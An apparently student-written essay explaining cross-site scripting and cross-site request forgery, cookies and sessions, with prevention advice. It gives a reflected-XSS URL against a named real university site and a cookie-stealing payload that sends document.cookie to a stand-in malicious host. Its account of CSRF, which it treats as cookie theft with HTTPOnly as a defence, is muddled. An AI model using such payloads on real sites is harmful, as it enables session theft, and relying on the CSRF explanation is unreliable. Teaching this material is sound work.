XSS and XSRF

Abstract

Cross (X) Site Scripting (XSS) and Cross (X) Site Request Forgery (XSRF) are quite prevalent today and can cause quite a bit of damage. They take advantage of a session by exploiting the cookie. Mike Bailey and Jeremiah Grossman are both excellent Information Security researchers for Mad Security and White Hat Security, respectively. OWASP is the Open Web Application Security Project. WASC is the Web Application Security Consortium. Not everything in this document is covered in detail. For the sake of the scope of the document, just the basics over web development is covered. The rest of this document describes XSS and XSRF in detail and the controversy between them.

XSS and XSRF Security

Let's imagine that you are browsing the Internet, and you receive a notification via eMail that your account was locked because of an excessive amount of incorrect login attempts. You rush to click the convenient link within the eMail to visit your bank to investigate the issue. You attempt to login to the site, and your login fails the first time, but you notice something funny as the page proceeds to your bank and requested to login again. So you login again, and it brings up your account. Your funds are safe, you breathe a sigh of relief. You click on the activity link to double-check your last transaction. When the next page loads, you see that your account was dumped, and you've been dooped. What the heck just happened?!

This is a common exploit brought you by XSS and XSRF. XSS is Cross Site Scripting. XSRF is Cross Site Request Forgery. Cross Site Scripting works by injecting arbitrary code into a web page. This code can do anything, from tell the hacker the cookie associated with a session, to completely defacing the website to make it look like a completely different website! Cross Site Request Forgery works by requesting resources from a remote location either to perform an exploit, or aid in the exploit.

The evidence for this is Mike Bailey, Jeremiah Grossman, OWASP, and the WASC. Bailey is a former security researcher for Foreground Security. Now he works for Mad Security. Grossman is the founder and CTO of White Hat Security. OWASP is the Open Web Application Security Project. "OWASP is a 501c3 not-for-profit worldwide charitable organization focused on improving the security of application software" (OWASP, 2010). WASC is the Web Application Security Consortium. "The Web Application Security Consortium (WASC) is an international group of experts, industry practitioners, and organizational representatives who produce open source and widely agreed upon best-practice security standards for the World Wide Web" (WASC, 2010).

Cookies and Sessions

Cookies are small pieces of data stored on the hard drive and used to keep track of a session. A session is used to keep track of a user's activity on the web. A cookie used to keep track of a session is known as a session cookie. Submitting a session cookie to a website is like unlocking the door to a profile on the website. First, the website will create a cookie and a session for the user, which are stored on the server. Next, the website will send the cookie to the user, the web browser will take note of that cookie, and store it on the hard drive for later use. The browser then sends the cookie to the website at each page-load. The act of the browser sending the cookie to the website is like unlocking a personal door to an account on the website.

For example, if a user visits a website such as http://amazon.com and is searching for books. When that user logs in, the website must keep track of this user among hundreds of potentially thousands of other users. This is accomplished is via a session. Information such as login credentials, site preferences, and other like information is all stored in that session. A cookie is only a small piece of information. A cookie is literally just letters, such as PHPSSID="F7A72D21." The website stores the session and its associated information. With this kind of setup for authentication, anybody with the same cookie can submit it to the website and gain access to credentials owned by that user. This is why it is important to logout when finished using a website.

XSS

XSS is known as Cross-Site Scripting. XSS is accomplished by injecting arbitrary code into a website. This code is capable of executing in the web browser to include other scripts, deface a website, give a hacker information about the server or the web browser, and much more. Injecting arbitrary code into a website is a common way to exploit an XSS attack. Other methods include injecting scripts into form fields which later display the value of those forms back to the browser, which the browser then executes.

XSS can accomplish almost anything JavaScript can do. On a small tangent, JavaScript is the scripting language that runs in the browser. It does everything from manage cookies, to bringing aesthetics to a web page by making it interactive, to making arbitrary requests to the website for more information. XSS uses JavaScript to perform malicious actions on a website, which may include manipulating the page to deface a site, stealing a user's cookie, and redirecting a user to other malicious websites, which can deal more damage to the user's computer.

Failing to validate input and escape input is a common way in which developers allow for XSS attacks. While submitting data from a form to a website, the website is supposed to take that data and validate it to ensure it is the type of data the website expects to process. Then, before the website outputs that data back to the browser, the website is supposed to escape the data according to the rules that makeup the page. Failure to do so can result in unexpected results.

XSRF

XSRF is known as Cross-Site Request Forgery. By using Cross-Site Request Forgery, a hacker can manipulate a website on a user's behalf. XSRF can happen when a hacker gets control of a user's session by submitting the user's session cookie to the website. XSRF can be accomplished by injecting arbitrary code into the URL or any form of a website, then that code is displayed back to the browser. The browser, then executes it.

On the developer's behalf, there are methods to prevent against XSRF. One common method is to use HTTPOnly. HTTPOnly prevents JavaScript from reading any cookie sent by the server.

The Counter-Argument

Some people may argue that XSRF and XSS are not a problem, at least, not a threat. They may make claims that "even with some of the best commercial Web vulnerability scanners" (Beaver, 2010) XSRF and XSS is not much of a threat. Some may say that XSS and XSRF are difficult to perform, and it is not likely that a user will fall for such a trick.

To counter this argument, it must be known that XSS and XSRF are not that difficult to perform. Exactly what are the best commercial vulnerability scanners of which they reference? If it's not likely that a user will fall for an XSS or XSRF attack, then why do hundreds of users fall victim to these kinds of attacks every day?

To debunk these myths, here is an example XSS attack:

http://scrippsnews.ucsd.edu/Releases/?releaseID=920%22%20/>%3Cscript%20type=%22text/javascript%22%3Ealert(%27b0rk%27);%3C/script%3E

To the average person, this may not look like much but a bunch of garbled numbers, letters and symbols. However, to someone who knows what they mean, it spells disaster for anyone who potentially clicks on a link formed in this fashion. This link, in particular is fairly harmless as it simply alerts a message with the contents "b0rk". However, if you change the "alert('b0rk')" part of that URL to something different, such as "document.location.href='http://malicious-website.org/malicious-script.php?theif='+escape(document.cookie)" then there would definitely be something very wrong with this URL. To explain this in more detail. Anything past the question mark in an URL is known as a "Query String". The query string is used in web applications to manipulate its behaviour. If the variables used in the query string are not properly escaped, then they could possibly execute in the browser. The previous replacement example stated before will give the user's cookie to a malicious website, which could, then eMail the user's cookie to the hacker, then the malicious website will pass the user forward like nothing happened. The user would not even notice. The hacker can then use the cookie sent by his malicious script to login as the user without their login credentials and change their account preferences and mount a much more devastating attack against the user, the website, or the server.

Commercial software such as McAffee, Semantic, TrustWave, TrendMicrosystems, and the like have no way to protect users against attacks like XSS and XSRF. Anti-virus software such as these are trying to prevent the user from downloading malicious content, or they discover the malware already installed on the system, and they specialize in removing said software. These anti-virus software suites cannot protect against activities that take place within the browser, because the user's computer trusts the browser and its activities. For those who say that anti-virus software doesn't detect XSS and XSRF and that does not make it a threat are highly mistaken.

For those who say that XSS and XSRF are difficult to perform: if one were to follow the link posted earlier to scrippsnews.ucsd.edu, then congratulations, a hack was just performed. It does not take much knowledge but the basics of a web application to understand how to break it.

The Evidence

Mike Bailey, Jeremiah Grossman, OWASP, and the WASC all agree, from a web developer's perspective, the best way to prevent against XSS and XSRF attacks is to follow simple programming practices: validate all input, escape all output. This simple concept will negate a majority of the attacks that can compromise a website. OWASP and the WASC have recently posted a top listing of the most dangerous exploits of 2010.

XSS and XSRF rank 2nd and 5th respectively on OWASP's top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

While the WASC has comprised a much more thorough listing of exploits in regards to XSS and XSRF: http://projects.webappsec.org/Web-Application-Security-Statistics

OWASP also has a library of code that is free and open for anybody to use to help make their applications more secure. It is called the Enterprise Security Application Programming Interface, or the ESAPI.

The Exploit

Here are a few screenshots of some exploits:

(Mckt, 2010)

For those people who cry in vain: "I just paid a lot of money for the expensive security certificate! How could my site have been hacked?!" It's a good idea to take into consideration that XSS and XSRF don't care if the user is over HTTP or HTTPS. It doesn't matter if the user is using a security certificate. XSS and XSRF attacks happen on the browser, after the information decrypts.

Conclusion

Again, websites do not have enough protection against XSS and XSRF, and a stronger movement needs to be made to prevent against these kinds of attacks. Based on the evidence above, it's quite a challenge to say that XSS and XSRF are not an issue. XSS and XSRF are both fairly easy exploits that deserve constant vigilance while dealing with the Internet. To protect against these kinds of attacks, avoiding Internet Explorer is strongly recommended, and taking advantage of FireFox's NoScript and RequestPolicy addons definitely helps. Logging out of the website when finished will help minimize an attack on a session. Being aware of what is actually happening on the Internet is really an awesome first step in preventing infections, phishing scams, and the like. Most of all malware and the like require the user interact with them in some way shape or form. A strong recommendation to make would be to pay attention to the URL of all websites visited and be vigilant of as much activity as possible while browsing the Internet. Finally, do not trust a single website while exploring the Internet, not the bank's website, not a personal website, and definitely not FaceBook. The Internet is an extremely scary place.

REFERENCES

Kevin Beaver. (2010). Is cross-site request forgery (CSRF) really as dangerous as vendor hype suggests?
Retrieved from Here on May 27, 2010.

Mike Bailey (Mckt). (2010). Website Security Seals Smackdown.
Retrieved from Here on May, 11, 2010.

OWASP. (2010). Open Web Application Security Project.
Retrieved from Here on May 5, 2010.

WASC. (2010). Web Application Security Consortium. Retrieved from Here on May 5, 2010.